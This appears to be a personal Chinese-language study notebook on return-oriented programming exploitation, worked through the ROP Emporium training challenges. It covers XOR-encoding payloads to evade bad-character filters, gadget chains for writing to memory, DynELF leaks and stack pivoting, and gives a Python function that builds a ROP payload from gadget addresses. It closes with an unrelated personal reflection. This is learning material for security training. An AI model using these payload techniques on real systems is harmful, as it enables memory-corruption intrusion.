ALT+T 在ida中查找字符串
如果参数是程序中没有的字符串,需要写入的时候,可以将字符串先传到寄存器1中,将写入的地址(一般是bss或者data段)存入寄存器2中,然后用mov指令将寄存器1写入寄存器2,来实现字符串的写入。
mov qword ptr [r14], r15 ; ret 将r15的内容转移到r14所指的地址上
八个比特(Bit)称为一个字节(Byte),两个字节称为一个字(Word),两个字称为一个双字(Dword),两个双字称为一个四字(Qword)
ROP Emporium
badchars
程序会过滤一些指定的字符,过滤的时候字符串在堆上,过滤后转移到栈上
可以先对字符串进行编码再对后面加上有使字符串还原的的功能的链,使字符串通过过滤,然后在栈上执行的时候,执行过程会使字符串解码,达到效果
xor有一个特性
1,a^key = b, a与key异或得到b
2,b^key =a,b与key再次异或又得到了a
所以能够破解的关键在于别人能不能获得你的key
DynELF要配合可以泄露内存的函数使用,例如write() put()等等
交换指令XCHG是两个寄存器,寄存器和内存变量之间内容的交换指令,两个操作数的数据类型要相同,可以是一个字节,也可以是一个字,也可以是双字
内存写入:
- 解引入pop [rax]
- 使用pop_mov链
- 使用pop_xor_xchg_mov链(ROP Emporium的fluff)
pop_r12 = 0x400832 #pop r12; mov; ret
xor_r11_r11 = 0x400822 #xor r11 r11; pop r14; mov; ret
xor_r11_r12_pop_r12 = 0x40082f #xor r11 r12; pop r12; mov; ret
xchg_r10_r11 = 0x400840 #xchg r10 r11; pop r15; mov; ret
mov_r10_r11 = 0x40084e #mov [r10] r11; pop r13; pop r12; xor [r10] r12; ret
pop_rdi = 0x4008c3
sys_plt = elf.sym['system']
def write_addr(data, addr):
#0
payload = ''
payload += p64(pop_r12) + p64(addr)
payload += p64(xor_r11_r11) + p64(0)
payload += p64(xor_r11_r12_pop_r12) + data
payload += p64(xchg_r10_r11) +p64(0)
#1
payload += p64(xor_r11_r11) + p64(0)
payload += p64(xor_r11_r12_pop_r12) + p64(0)
payload += p64(mov_r10_r11) + p64(0) + p64(0)
#2
return payload
今日疑问:
如何知道栈溢出空间大小是否足够?
got表项未绑定前是什么值?
DynELF函数除了write和puts之外可以使用吗?
在栈上,函数执行到哪里,栈顶指针rsp就指到哪里,因此,控制了rsp就是控制了控制流,栈迁移的原理就是这样,通过将以个堆上的地址值赋给rsp,控制栈的执行流到堆上
题目给你开辟了堆空间,又有栈溢出,很大可能是暗示着可以进行栈迁移
在汇编语言中,寄存器左右标记着[]的指的是寄存器的值作为地址所指向的内容
mov rax [rbx] #rbx的值指向的地址的内容赋给rax
mov [rax] rbx #rbx的值赋给rax的值指向的地址作为内容
对于有libc的栈题来说 当没有write和read函数 但是有其他在libc上被代码段使用的函数 可以通过mov将自身的值赋给某个寄存器然后通过add指令计算偏移得到想要的函数
突然想到的:
对其他人冷暴力不好 因为冷暴力首先就是不尊重人,有什么事情挑开了说,冷暴力一是关闭了沟通的桥梁,二是本质上就是不尊重人的表现,就后者而言,冷暴力已经无关事情,而是一种没有素质的体现。